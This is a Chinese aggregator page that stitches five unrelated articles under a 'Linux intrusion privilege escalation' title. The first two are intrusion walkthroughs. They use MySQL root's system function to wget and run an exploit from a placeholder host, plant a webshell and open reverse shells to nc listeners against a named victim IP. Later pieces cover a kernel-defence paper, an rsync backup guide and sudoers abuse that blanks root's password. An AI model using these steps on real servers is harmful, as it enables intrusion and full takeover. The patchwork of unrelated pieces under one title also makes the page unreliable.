linux入侵提权(服务器提权)方法linux操作系统

关键词: 提权 网络操作系统 源代码 服务器

linux入侵提权(服务器提权)方法linux操作系统(通用5篇)

篇1:linux入侵提权(服务器提权)方法linux操作系统

入侵提权的方法有很多种,最常用的是使用各种工具进行入侵提权了,下面我来给大家总结一些方法,

利用mysql root提权方法

mysql 5.x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的 范围内。

一般我们按照常规思路,搞到mysql的root密码之后,我们都会连接上去,创建一个表,然后outfile,搞到一个webshell ,然后提权如斯这般。今天我们换一种方式。

按照上面的方法,我们需要知道web的绝对路径,当然这个很不好找,有些有sqlinjection的,可能报错会显示出来,有的就不一定了。但是 按照我的的方法,没有必要再去找web路径了,直接执行

mysql>system vi /etc/httpd/conf/httpd.conf;

直接这样就可以找到web的路径,当然,我们的目的并不是找web路径,放webshell进去。我们是要来做其他的事情,好比,下载exp执行, 搞到 root权限,然后装后门

mysql>system wget www.xxx.com/xxxx ;

mysql>system chmod +x xxxx;  mysql>system ./xxxx;

这样mysql的root此时就成为system的root了,剩下的事情,假如开了ssh,就ssh连接上去,输入mysql的用户密码,ok,搞 定。

Linux低权限提权

反弹试试 tmp里创建好文件,SHELL目录传马,执行,本地NC监听上线,WHOAMI一下,是WWWROOT权限

查看版本

可以CD到根目录上级(/var/www/virtual/),再LS一下,全盘网站都出来了,目标站也没瞎起文件夹名,但是没权限跳不进去

试着TAR打包,没权限,试着单独打包目标站目录文件,可以,但是根目录CONN.CONFIG被限制当前目标站可读权限。

尝试CP目标站include目录,竟然可以复制过来,但是不可写复制不过去,找到了数据库配置信息,再另外服务器上。

先把数据库用phpspyshell备份过来:

看到一些配置信息跟账号,但是没有后台路径等敏感信息

扫描工具扫不到目标网站文件夹,估计修改过了

试着提权CMDSHELL为USER或者ROOT,没有直接去看Apache的配置设置,试着WGET几个EXP,但是都没用,估计打过补丁

CP虽然可以,但是不知道具体的信息

既然WEB没权限,就试着MYSQL看看有没有权限吧

直接

CREATE TABLE hackdn (spider BLOB);创建表hackdn

插一句话

保存

然后备份成目标路径1.php文件,

发现连接不了。

CP过来一看,被反译符分隔了,

不加 ‘ 的话,就插入

再备份为PHP后,本地保存以下代码为

代码如下复制代码

1.HTML

简单的linux提权

拿到shell了,准备提权.先看下linux内核

uname -a

2.6.18-194.11.3.el5 内核 的,这个好CentOS release 5.5好提

然后百度或者其它路径找EXP,2.6.18-194这个内核我已经收藏过.上传到/tmp,为什么要传到这个目录呢?

因为tmp目录可写可执行一般,继续ing.

找个外网IP 监听12666,当然12666也可以改。我这里用NC监听nc -l -n -v -p 12666

然后再点你shell

连接成功就出现下面的内容

然后我们进到/tmp目录

cd /tmp 进入到tmp目录了,看下我们之前上传的2.6.18-194

我这里有权限rwx,可读可写可执行.如果没有权限chmod -R 777 文件名

我这里的exp已编译过了,直接执行溢出就ok了 ./2.6.18-194  要是你的exp没有编译gcc -o /tmp/文件名 /tmp/文件名.c ,自己编译下就行了

成功了。。 其实linux提权还是很简单,关键看有没exp...  完了 完了 !!!!!

篇2:linux入侵提权(服务器提权)方法linux操作系统

21.2.6反弹Shell,Linux溢出提权

mysql提权失败,转换入侵思路,可以考虑溢出提权,这也是在WebShell中常见的一种提权方式。不过在进行溢出提权时,用WebShell中的shell命令直接操作是无法获得提权后的CMD Shell的,因此必须先利用WebShell反弹到本地,建立一个CMD Shell窗口,在其中进行提权操作。

还是利用刚才的FTP账号上传一个PHP反弹shell工具,上传前修改设置其中的反弹IP地址为本机IP地址,端口为8888,上传后的链接地址为“www.**114.com/zt/shell.php”。然后在本地打开命令提示符窗口,执行如下命令。

nc-l-vv-p8888

使用nc监听本地的8888端口,

在浏览器中访问“www.**114.com/zt/shell.php”,在nc监听的端口中,就可以获得一个从网站服务器(125.70.244.104)上返回来的命令行Shell了(图21-26)。

获得一个Shell,就可以稳定地进行操作,不会出现像在WebShell中操作时超时或无法连接的情况。现在考虑进行溢出提权。

截止到入侵的当前时间7月为止,最新的Linux溢出提权漏洞有以下几个。

LinuxKernel2.6.xUDEVLocalPrivilegeEscalationExploitLinuxKernel2.6.xSCTPFWDMemoryCOrruptionRemoteExploitLinuxKernel2.6.xptrace_attachLocalPrivilegeEscalationExploit

篇3:linux入侵提权(服务器提权)方法linux操作系统

在现有的针对Linux内核的攻击中, 提权攻击无疑是造成危害最严重的一种。提权攻击是指攻击者利用代码漏洞, 将进程权限从非root状态提升到root状态的过程。这类漏洞可能存在于各种服务器软件中, 也可能存在于内核代码本身。本文旨在研究一种保护方式, 以动态防御针对内核本身漏洞的提权攻击。本文的工作主要在两个方面:第一, 总结了exploit-db[1]中针对Linux内核的攻击手段, 提出一种常见的攻击模式, 即利用内核代码漏洞攻击内核堆上的静态函数钩子, 进而进行提权操作;第二, 提出了一种实用的针对这种攻击模式的防御手段, 即分离钩子函数的解引用和验证操作, 以较低的性能开销保证内核中的敏感函数不被恶意篡改的钩子函数调用。

2 现有的攻击和防御手段

2.1 现有的攻击手段

现有的针对Linux内核的权限提升攻击, 通常利用内核代码漏洞, 篡改内核函数钩子, 使其指向内核中的敏感函数。在exploit-db中, 我们找到了以下这类攻击的几个例子: (1) CVE-2011-1495, 内核_ctl_do_mpt_command函数中, 调用copy_from_user时未检查数据的长度, 导致内核堆缓冲区溢出和钩子覆盖问题。 (2) CVE-2011-1169, 内核asihpi_hpi_ioctl函数中, 对数组赋值时没有检查偏移值是否合法, 可能导致钩子被覆盖。 (3) CVE-2011-1017, 内核中ldm_frag_add函数调用memcpy时未检查数据长度, 可能导致堆缓冲区溢出和钩子被覆盖。 (4) CVE-2011-1016, Radeon GPU驱动程序中缺少对寄存器值的检查, 可能导致模块相关的内存被改写。 (5) CVE-2010-4656, iowarrior_write函数没有正确分配内存, 可能导致缓冲区溢出, 从而覆盖钩子函数的值。 (6) CVE-2010-3904, RDS协议在使用_copy_*_user_inatomic宏时, 对参数指针检查不足, 可能导致内核数据段上的钩子函数被修改。

由此可以看到, Linux内核代码的漏洞会引发内核控制流被改变, 恶意用户可以将控制流引导至用户态代码, 或直接调用内核的敏感函数, 获得更高权限, 进行进一步攻击。本文主要讨论如何保护由内核代码漏洞引发的堆内存上指针篡改导致的权限提升攻击。

2.2 现有防御手段

2.2.1 基于硬件的防御手段

现有的基于硬件的防御手段主要有两类, 第一类不需要引入虚拟机监控器, 第二类需要在硬件虚拟化的条件下引入虚拟机监控器。第一类机制由Intel CPU提供, 即SMEP[2]和SMAP[3]机制。SMEP机制用于防止运行在0环的进程执行3环内存中的代码, 而SMAP机制用于防止运行在0环的进程访问3环内存中的数据。在SMEP机制的保护下, 即使攻击者修改内核函数钩子, 也只能将其指向内核代码本身。而在保证内核代码本身安全的前提下, 攻击者很难通过这样的方式进行复杂的功能操作如访问磁盘文件等。第二类机制典型的工作如Sec Visor[4], 它通过在操作系统中引入虚拟机监控器来保证内核的控制流完整, 它可以确保内核代码段不被修改, 并且只有经过用户认证的代码才能被0环运行。但是, 同样的, 恶意用户可以通过修改内核数据段上的函数钩子, 使其指向内核本身的代码段, 或是通过ROP[5]攻击劫持内核控制流。由于引入了虚拟机监控器 (VMM) , 相比于直接在物理硬件上运行的Linux系统, Sec Visor的性能开销为前者的20倍以上。针对内核ROP攻击, Baozeng Ding[6]等人提出了一种防御手段。Hooksafe[7]通过将分散在内核中的钩子放入不可写的内存页中, 使用监控器监控所有写操作, 也达到保护内核钩子的效果, 其性能在使用了Xen (通常会带来20%-40%的性能下降) 的基础上另外带来了6%的性能下降。

2.2.2 基于软件的防御手段

基于软件的防御手段, 通常会修改内核源代码或二进制代码, 在其中加入相关的保护机制。Pa X是一个Linux内核上成熟的产品, 它以补丁的形式修改内核, 给内存页表添加保护位, 将代码段内存标记为不可写, 数据段标记为不可执行, 防止内核执行用户态恶意注入的代码。Vasileios P.Kemerlis等人设计的k Guard系统思想与本文类似, 通过二进制插桩内核控制流转移指令, 防止其调用用户空间函数。此时, 攻击者仍然可以修改内核指针, 使其指向内核空间本身的敏感函数, 完成恶意操作。k Guard的性能开销为10%。Linux内核引入的ASLR机制可以很好的防止攻击者定位用户态目标代码的位置, 防止恶意用户篡改钩子, 使其指向已知的用户代码。但是, 相比于用户态代码, 内核代码段无法进行地址随机化, 因此无法防止攻击者将钩子指向内核代码本身。对于大部分服务器应用来说限制其使用系统调用无疑会限制其功能的正常运转。

2.2.3 本文攻击模型

在本文的攻击模型中, 攻击者利用内核代码漏洞, 将内核钩子指向内核代码本身。此时, 攻击者无法控制内核栈, 因此无法向被调用的内核代码传递参数。但是, 通过实验我们发现, 在这样的情况下, 攻击者可以调用内核中不带参数的函数, 完成一定的功能。在系统调用中, 攻击者会受到如DAC、MAC、权能等各类机制的检查。所以, 攻击者修改内核钩子, 首先需要进行提权操作, 通过恶意手段影响安全机制的运行, 以此作为下一步攻击的基础。

3 改进的内核钩子保护框架

在SMEP机制的基础上, 为了进一步防止攻击者修改内核钩子, 将其指向内核代码本身, 进行提权攻击, 本文提出了一种基于软件的轻量级防御方案。在传统的防御方案中, 若要验证钩子函数是否指向指定的目标地址, 需要在其解引用时进行验证, 而验证所需的查表操作会给系统带来数十倍的性能开销, 因而这种方法并不实用。针对exploit-db中攻击者常用的攻击模式, 通过分离钩子函数解引用、钩子函数验证这两个关键步骤, 提出了一个可实际运行的内核钩子保护系统的设计方案

3.1 系统概要

钩子函数通常以形式s->f_op (args) 被调用。其中, s为包含钩子函数的结构体的对象, f_op为结构体中钩子函数的名称。如果钩子函数被攻击者恶意修改, 那么符号f_op会指向一个不同的地址, 这个地址可能是一个内核函数, 或是用户空间的一段代码。如图1所示, 攻击者将f_op的值从b改为恶意代码的地址c。在2.2.3中我们已经介绍过, 攻击者劫持内核控制流后, 首先需要获得内核权限, 否则难以进行进一步的攻击。

因此, f_op被修改后, 控制流会被劫持到内核中涉及权限的敏感代码处, 而此时f_op函数的调用尚未返回。因此, 系统在钩子函数赋值时记录值对 (a, b) , 在f_op函数调用前, 记录钩子函数的地址a, 在涉及权限的敏感代码真正执行操作之前, 检查所有已经记录的钩子函数的地址a保存的值b’是否与之前记录的b地址一致, 若不一致, 则认为钩子函数被恶意用户篡改, 并且恶意用户试图执行权限相关的敏感操作。检查操作的性能开销可以忽略不计, 系统主要的开销是相对于正常钩子函数调用操作而言新增加的保存和删除操作。由于保存和删除操作伴随钩子函数的调用和返回, 因此我们在系统中开辟一小段内存模拟虚拟栈, 使用压栈和退栈的方式保存和删除, 可以使这两个操作都在约10条指令的操作时间内完成。

3.2 内核钩子函数的插桩

我们可以对内核钩子函数进行插桩, 修改钩子函数的调用上下文, 最基本的插桩前后代码片段如图2所示。在实际调用环境中, 钩子函数还可能被以各种形式调用。Coccinelle[14]工具可以很好地针对这些特定的形式进行特定的插桩操作。

3.3 敏感函数选取

攻击者篡改内核钩子后, 仍然需要通过系统调用进入内核, 此时, 内核会调用被篡改后的钩子, 也就是攻击者需要执行的敏感函数。但是, 由于攻击者无法控制内核栈, 因此只能调用不带参数的函数进行提权操作。系统对符合以下条件的函数进行检查, 在这些函数的入口位置增加检查代码, 验证虚拟栈上保存的钩子函数是否合法: (1) 位于内核security目录或kernel目录下权限相关的文件中, 且直接修改内核安全数据域 (cred结构体) 或安全系统运行状态。 (2) 调用时不需要参数。

实际环境中, 我们找到以下函数, 作为样例配置输入, 如表1所示。

3.4 钩子函数的记录

我们在系统中增加学习模块, 用以记录内核钩子函数的地址。在学习模块工作状态下, 原有的shadow_push函数的作用不再是记录钩子函数的保存地址, 而是将该地址转交给学习模块。学习模块获得这个地址后, 检查这个地址是否被记录过, 如果没有, 则记录这个地址及其地址上对应的值。

4 系统分析

由于系统防止篡改后的钩子函数调用内核敏感函数, 因此攻击者无法利用内核代码漏洞, 通过函数钩子实施提权攻击。

由前面的描述我们可以看到, 为了降低性能开销, 我们可以将钩子函数的解引用操作和验证操作进行分离, 在真正需要验证的调用点进行开销较大的验证操作, 在解引用点处进行开销很小的压栈和退栈操作。在内核实际运行环境中, 这样的分离只会引入很小的性能开销, 原因有三: (1) 系统的敏感函数通常由内核本身进行调用, 正常模块不会调用这些函数修改自己的权限, 而内核本身只包含少量的函数钩子。因此, 在验证点处只需要验证很少一部分钩子的地址即可。 (2) 系统的敏感函数通常只在进程初始化阶段使用, 用来构造进程沙箱环境。在进程实际运行时, 进程使用的权限相关的标志位很少变化。因此, 对于正常运行的系统, 开销较大的验证操作很少被调用。 (3) 解引用点处引入的压栈和退栈操作对应为若数条内存读写指令, 开销可以忽略不计。

5 结语

本文总结了exploit-db中常见的内核权限提升攻击模式, 即通过修改内核全局钩子调用敏感函数进行提权攻击, 并针对这种模式提出相应的防御方法。通过插桩内核钩子函数的调用上下文, 配合内核中的检查模块, 检查函数钩子是否被篡改。本系统以5%的性能开销达到实时防护的效果。为了实现更完善的保护, 今后需要针对内核的动态钩子函数进行处理。由于动态钩子函数无法通过符号文件定位, 因此缓冲区溢出覆盖成为攻击这种钩子的主要方式, 我们需要结合静态程序分析技术, 监测和防止内核缓冲区溢出, 来保证动态钩子不被恶意篡改。

摘要:本文提出了一种基于IntelSMEP的轻量级的内核控制流完整性防御方法, 以防御exploit-db中常见的内核提权攻击。该方案通过分离内核钩子函数的解引用和验证操作, 在解引用处记录钩子函数, 在敏感函数内验证钩子函数是否合法, 防止恶意进程利用内核代码漏洞, 修改全局函数钩子, 导致内核中的敏感代码被恶意执行。

关键词:Linux内核,SMEP,提权攻击

参考文献

[1]exploit-db.http://www.exploit-db.com/.

[2]Haswell architecture.http://en.wikipedia.org/wiki/Haswell.

[3]Xen评测.http://www.bullopensource.org/xen/benchs.html.

[4]Spengler B.Grsecurity acl documentation v1.5[J].grsecurity.net/gracldoc.pdf, 2003, 40.

[5]Team, PaX, PaX address space layout randomization (ASLR) .2003.

[6]Barth A, Jackson C, Reis C, et al.The security architecture ofthe Chromium browser[J].2008.

篇4:linux入侵提权(服务器提权)方法linux操作系统

关键词:数据备份 Linux Rsync

中图分类号:TP309.3文献标识码:B 文章编号:1673-8454(2009)19-0027-02

校园网建设的工作重心主要集中在保证网络的正常运行和提供良好的网络服务。除此以外,数据备份也是网络管理员的重要职责之一。对数据进行自动远程备份是保证数据安全的有效方法。

一、现状

校园网中的应用系统,比如计费系统和电子邮件系统中积累了大量的用户数据,包括用户的费用和邮件等重要信息,对于此类敏感又很重要的数据一定要做好备份。这些数据具有实时性的特点,即信息随时都在发生动态变化。因此,要求能够对数据做到周期性自动跟踪,反之,需要恢复数据时能够恢复到离故障点较接近的时间点,丢失的数据尽可能少且在大多数用户的可接受范围内。

目前我校没有为备份提供专用的存储空间,在这种情况下,可以使用一台性能相对稳定并且磁盘空间较大的已被替换下来的服务器,作为存储平台。同时能够找到一种相对灵活的备份方案实现备份需求。但是用什么方法将数据传输过来呢?

二、选择方案

由于我校大多数应用系统都使用Linux操作系统,在Linux操作系统中数据备份方法通常有:(1)Linux系统中常用的备份工具tar、dump、restore等,但这些工具大多数适合本地备份,对不同主机之间的远程备份往往力不从心。(2)选择商业化的备份和镜像产品,但是这种产品通常价格昂贵。对于价格高的项目需要审批,从立项到实施周期长。(3)编写脚本,使用FTP等工具定时传输数据,但是这种方法的缺点是每次都要将所有文件和数据重新传输一遍,将要备份的文件和已备份文件没有比较,不考虑哪些文件是新增加的和更新的。当需要备份的数据量较大时,更是需要较长时间的网络传输,效率低。(4)使用自由软件——远程传输工具Rsync,Rsync是一个小巧而灵活但是功能强大的远程备份工具,它使用“Rsync演算法”提供一个非常快速的文件传输方法,使得本地和远端主机间的文档达到同步。Rsync只有第一次备份时需要传输所有数据文件,以后传输数据时会比较两组数据,相同的不再传输,只传输发生变化的数据部分,因此速度相当快,而且节省网络带宽。由此可以看出,选择Rsync做备份工具是最佳选择。

三、制定备份策略

实时数据备份对服务器和网络带宽的要求较高,因为不停地备份会降低服务器性能,而且会造成网络负荷过重。与提供良好的网络服务相比,数据备份应该是第二位的,当出现争抢资源时应该让位于网络服务。因此需要制定一个折中的策略——选择一个合适的时间间隔。白天服务器的访问量大,用户操作频繁,此时不适宜做备份,而晚上的访问量相对较低,系统和网络都处于空闲的状态,此时做备份既可利用系统的低使用率也不会增加网络负载。因此,选择每天凌晨备份,一天的数据差别在用户的可接受范围内。

四、实施方法

Rsync是以服务器/客户端的方式工作的,较为特殊的一点是Rsync服务器和客户端都使用同一个程序。启动服务器的时候需要指明以daemon方式运行,表明启动的是服务器。而启动客户端程序的时候则不需要指定daemon选项。

每台需要备份数据的服务器在设置上都类似,因此以一台服务器和一组待备份数据为例。例如,需要备份数据的服务器IP地址为10.0.0.1,该主机称之为Rsync-server,程序以daemon方式运行;作为存储平台的主机IP地址为10.0.0.200,运行Rsync客户端程序,该主机称之为Rsync-client。Rsync程序默认运行在TCP的873端口,即Rsync-server会监听873端口,等待对方的rsync连接。当以认证方式登录时,Rsync-server与Rsync-client连接时会检查密码是否相符,如果相符则开始文件传输。

1.Rsync-server(10.0.0.1)的配置

Rsync-server需要设置以下几项:

明确需要建立备份的目录

设置/etc/xinetd.d/rsync

设置/etc/rsyncd.conf

设置密码文件

(1)目录/udata以及子目录中存有用户数据,需要备份。

(2)设定/etc/xinetd.d/rsync,确保文件中两个参数:

disable = no

server_args = --daemon

使用命令service xinetd restart,使设置生效,使rsync服务进程以daemon方式运行rsync。

(3)Rsync服务器最重要最复杂的就是配置文件/etc/rsyncd.conf,这个配置文件控制着Rsync服务器的认证访问、日志、可用模块等信息。该文件由一个或多个模块结构组成。一个模块定义是以方括弧中的模块名开始,直到下一个模块名或者文件结束。每个模块对应一个需要备份的目录。配置文件以行为单位,模块中的行是一些参数赋值或注释等。

uid = root

read only = yes

list = no

log file = /var/log/rsyncd.log

pid file = /var/run/rsyncd.pid

hosts allow = 10.0.0.200

hosts deny = 0.0.0.0/32

[userdata]

path = /udata

ignore errors

read only = yes

list = no

auth users = secretuser

secrets file = /etc/rsyncd.secrets

前五行指定在daemon模式下运行的Rsync-server是以root用户的只读方式运行,指定日志和运行时的进程ID的存放位置,以及允许连接的Rsync客户端地址等。这些选项是全局的。在模块[userdata]中指定了需要备份的目录,忽略了一些无关的IO错误,不允许列文件,备份时需要认证,及密码文件的存放位置等。

(4)密码文件的格式很简单,账号:密码。例如,/etc/rsyncd.secrets的内容可设为:

secretuser:secretpasswd123

注意,一定要设置密码文件的属主和权限,否则备份会失败。

#chown root.root rsyncd.secrets

#chmod 600 rsyncd.secrets

2.Rsync-client(假设主机地址为10.0.0.200)的配置

Rsync需要设置如下几项:

规划一个容量足够大的独立分区,并设置好存储目录

编写备份指令文件

将指令加入crontab列表中,完成定时备份

(1)设置存储目录为/backup。

(2)编辑文件rsync-restore,并存放在某一目录下,比如/目录下,文件内容为:

rsync-tvzrp-progress-delete secretuser@10.0.0.1::userdata /backup-passwd-file=/etc/rsyncd.pass

命令参数-tvzrp中的v是将传输过程显示到屏幕中,z是传输时压缩数据,r是逐级保留目录目录下文件,tp是保持文件原有属性如权限、时间等参数。-progress指示详细的进度。-delete删除在Rsync-client上存在而Rsync-server上不存在的额外文件,精确保存副本。这一选项对邮件服务器很有实施价值,如果不删除已经不存在的文件,比如用户邮件,当恢复数据时,被用户删除过的邮件又会出现在用户的邮箱当中,这种莫名其妙的事情发生会给用户造成困扰。-passwd-file:指定用于rsync服务器的用户验证密码。/etc/rsyncd.pass文件中指定访问密码,内容为:secretpasswd123(与Rsync-server的/etc/rsyncd.secrets文件中密码一致),设置文件权限为读写 #chmod 600 rsyncd.pass。

注意,要修改rsync-restore文件的权限,否则备份不会成功。

#chmod 755 rsync-restore

(3)使用crontab命令定时备份文件,编辑如下内容:

0 2 * * * /rsync-restore

这样,每天凌晨2点Rsync-server就将待备份目录/udata以及目录下的文件以目录树结构做镜像自动备份到Rsync-client的/backup目录下。

五、结束语

当需要恢复数据时,在保证重新架设的应用服务程序与原服务程序保持一致的前提下,只要将备份的整个目录树恢复到服务器相应目录下即可。注意,备份实施过程中设置rsync相关文件时,一定要设置使用权限,否则将导致备份失败。一般来说,备份用户数据比备份系统数据更频繁一些,合理规划备份方案,明确备份的内容、备份时间及备份方式,并进行适时备份可以有效防止重要数据的丢失。在日常工作中,备份是管理员的一项重要工作,掌握好备份技巧对管理员的工作很有帮助。

参考文献:

[1]用Rsync对网站进行镜像备份[EB/OL]. http://fanqiang.chinaunix.net/a6/b7/20010908/1305001258_b.html

[2]Linux下的远程备份(镜像)工具Rsync[EB/OL]. http://wuwd.blog.ubuntu.org.cn/2007/12/22/

篇5:linux入侵提权(服务器提权)方法linux操作系统

无论是Windows系统还是Linux系统都是基于权限控制的,其严格的用户等级和权限是系统安全的有力保证,这么严密的用户权限是否不可逾越呢?下面笔者反其道而行之进行Windows及Linux下的提权测试。

一、windows下获取至高权限

大家知道,在Windows系统中SYSTEM是至高无上的超级管理员帐户。默认情况下,我们无法直接在登录对话框上以SYSTEM帐户的身份登录到Windows桌面环境。实际上SYSTEM帐户早就已经“盘踞”在系统中了。想想也是,连负责用户验证的Winlogon、Lsass等进程都是以SYSTEM身份运行的,谁还能有资格检验SYSTEM呢?既然SYSTEM帐户早就已经出现在系统中,所以只需以SYSTEM帐户的身份启动Windows的Shell程序Explorer,就相当于用SYSTEM身份登录Windows了。

1、获得特权

打开命令提示符,输入命令“taskkill /f /im explorer.exe” 并回车,这个命令是结束当前账户explorer即图形用户界面的Shell。然后在命令提示符下继续输入“at time /interactive %systemroot%explorer.exe”并回车。其中“time”为当前系统时间稍后的一个时间,比如间隔一秒,当前系统时间可以在命令提示符下输入“time”命令获得。一秒钟后会重新加载用户配置,以SYSTEM身份启动Windows的shell进程Explorer.exe。(图1)

2、身份验证

如何知道exeplorer.exe是以system权限运行呢?我通过“开始”菜单可以看到最上面显示的是system账户。另外,打开注册表编辑器,只要证明HKCU就是HKUS-1-5-18的链接就可以了(S-1-5-18就是SYSTEM帐户的SID)。证明方法很简单:在HKCU下随便新建一个Test子项,然后刷新,再看看HKUS-1-5-18下是否同步出现了Test子项,如果是,就说明系统当前加载的就是SYSTEM帐户的用户配置单元。当然最简单的是在命令提示符号下输入命令“whoami”进行验证,如图所示显示为“NT AUTHORITYSYSTEM”这就证明当前exeplorer.exe是System权限。(图2)

3、大行其道

System权限的Explorer.exe在实际中有什么用呢?下面笔者随意列举几个使用实例。

(1).注册表访问

我们知道在非SYSTEM权限下,用户是没有权限访问某些注册表项的,比如“HKEY_LOCAL_MACHINESAM”、“HKEY_LOCAL_MACHINESECURITY”等。这些项记录的是系统的核心数据,某些病毒或者木马会光顾这里。比如在SAM项目下建立具有管理员权限的隐藏账户,这样的帐户在命令及“本地用户和组”管理器(lusrmgr.msc)中是无法看到的,造成了很大的安全隐患。在“SYSTEM”权限下,注册表的访问就没有任何障碍,我们打开注册表定位到“HKEY_LOCAL_MACHINESAMSAMDomainsAccount”项下所有的隐藏帐户就都暴露了。(图3)

(2).访问系统还原文件

系统还原是windows系统的一种自我保护措施,它在每个磁盘根目录下建立“System Colume Information”文件夹,保存一些系统信息以备系统恢复是使用。该文件具有系统、隐藏属性管理员用户是没有操作权限的。正因为如此,它成了病毒、木马的栖身之地,我们就可以在System权限下进入该文件夹删除病毒。当然,你也可以关闭“系统还原”预防此类病毒,但这样未免显得被动,有些因噎废食。(图4)

(3).更换系统文件

Windows系统为系统文件做了保护机制,一般情况下你是不可能更换系统文件的,因为系统中都有系统文件的备份,它存在于c:WINDOWSsystem32dllcache(假设你的系统装在C盘)。当你更换了系统文件后,系统自动就会从这个目录中恢复相应的系统文件。当目录中没有相应的系统文件的时候会弹出提示让你插入安装盘。

在实际应用中如果有时你需要Diy自己的系统修改一些系统文件,或者用高版本的系统文件更换低版本的系统文件,让系统功能提升。比如Window XP系统只支持一个用户远程登录,如果你要让它支持多用户的远程登录。要用Windows 的远程登录文件替换Window XP的相应文件。这在非SYSTEM权限下很难实现,但是在SYSTEM权限下就可以很容易实现。

从Windows 2003的系统中提取termsrv.dll文件,用该文件替换Windows XP的C:WINDOWSsystem32下的同名文件。(对于Windows XP SP2还必须替换C:WINDOWS$NtServicePackUninstall$和C:WINDOWSServicePackFilesi386目录下的同名文件)。再进行相应的系统设置即可让Windows XP支持多用户远程登录。

(4).手工杀毒

用户在使用电脑的过程中一般都是用Administrator或者其它的管理员用户登录的,中毒或者中马后,病毒、木马大都是以管理员权限运行的,

我们在系统中毒后一般都是用杀毒软件来杀毒,如果杀软瘫痪了,或者杀毒软件只能查出来,但无法清除,这时候就只能赤膊上阵,手工杀毒了。

在Adinistrator权限下,如果手工查杀对于有些病毒无能为力,一般要启动到安全模式下,有时就算到了安全模式下也无法清除干净。如果以SYSTEM权限登录,查杀病毒就容易得多。

以一次手工杀毒为例,(为了截图在虚拟机上模拟了前段时间的一次手工杀毒。)打“Windows 任务管理器”,发现有个可疑进程“86a01.exe”,在Administrator管理员下无法结束进程见图5,当然更无法删除在系统目录下的病毒原文件“86a01.exe”。以System权限登录系统,进程被顺利结束见图6,然后删除病毒原文件,清除注册表中的相关选项,病毒被彻底清理出系统。(图5)(图6)

System权限是比Administrator权限还高的系统最高权限,利用它可以完成很多常规情况下无法完成的任务。当然,最大的权限也就意味着更大的危险,不要因为手握“尚方宝剑”就滥杀无辜。

二、Linux下授权测试

类似于Windows系统Linux系统中用户是具有权限属性的,甚至它的权限设置更为严格。我们知道在Linux系统中root是管理员用户拥有最高的权限,除此之外的其他用户是普通用户其权限都是受限的。如何让普通用户也具有root权限当管理员使用呢?下面笔者搭建环境,以重启网络操作为例进行Root授权演示。

环境说明:

OS:Fedora Core 6 (域名:ns.linux.com.cn)

Tools:PuTTY(SSH/Telnet远程登录)

1、登录系统

运行PuTTY,首先以Root用户远程登录系统,输入用户名、密码成功登入系统。然后以普通用户hacker远程登录输入用户名、密码进入系统。

2、权限测试

在Root用户登录窗口中我们输入命令“/etc/init.d/network restart”重启网络服务,如图7所示启动成功。然后在hacker用户登录窗口输入同样的命令重启网络,显示失败,可以普通用户hacker是没有执行该命令的权限的。(图7)

3、Root授权

要使得普通用户hacker也具有重启网络的权限,我们需要修改/etc/sudoers文件。输入命令“ls -l /etc/sudoers”查看root用户默认对该文件只有“读”权限,是没有办法修改的。对此,我们可以修改其权限让Root用户可以修改,也可以用vi打开该文件修改然后强行保存退出,当然最方便的是用“visudo”命令进行编辑。

定位到“# User privilege specification”下,按照格式“username host username command”进行输入。其中第一个字段是用户名(被授权用户),第二个自动是主机位(用域名、IP地址都可以),第三个字段是用户名(授权用户),第四个字段是命令(授权用户可以执行的命令,可以用别名)。结合实例我们添加如下字段:hacker All = (root) /etc/init.d/network 即授权hacker用户以Root权限运行/etc/init.d/network,最后保存退出。(图8)

4、权限测试

在hacker用户窗口中输入命令:sudo /etc/init.d/network restart,看hacker是否可以重启网络,如图9所示命令成功执行网络被重启,说明授权成功。这里必须要说明的是必须以“sudo”来运行命令,因为sudo命令会调用“/etc/sudoers”脚本,刚才的授权才会生效。另外,在命令执行前要输入密码,这个密码是当前用户即hacker的密码。(图9)

5、延伸

我们通过修改/etc/sudoers文件可以灵活地进行用户赋权,赋予不同的用户执行特殊命令的权限。/etc/sudoers文件中添加的信息,其中用户、命令都可以用别名,被授权用户可以是多个,命令可以是多条。我们通过修改该文件进行用户授权是一定要慎重,防止授权过大造成系统安全隐患。比如我们在该文件中添加这样的字段angel ALL = (ALL) ALL,这样的话angel用户就具有了系统的所有权限,就相当于另一个Root用户。下面我们操作测试一下。(图10)

新建test用户并设置密码,然后从在hacker登录窗口中通过命令su -angel 切换到angel用户,看看权限过大会产生什么后果。大家知道/etc/passwd是保存用户密码的文件,我们输入sudo vi /etc/passwd用sudo命令调用vi打开该文件,定位到root行,可以看到有个“x”号表示root用户设置了密码,我们删除“x”字段最后保存退出。输入命令more /etc/passwd | grep root查看“x”被成功删除,root用户就是空密码了。在angel窗口输入命令sudo root可以看到空密码可以进入到Root登录窗口。(图11)

注:本文为网友上传,旨在传播知识,不代表本站观点,与本站立场无关。若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:66553826@qq.com

上一篇:Linux安装DNS域名解析服务 下一篇:如何保护Linux 网络安全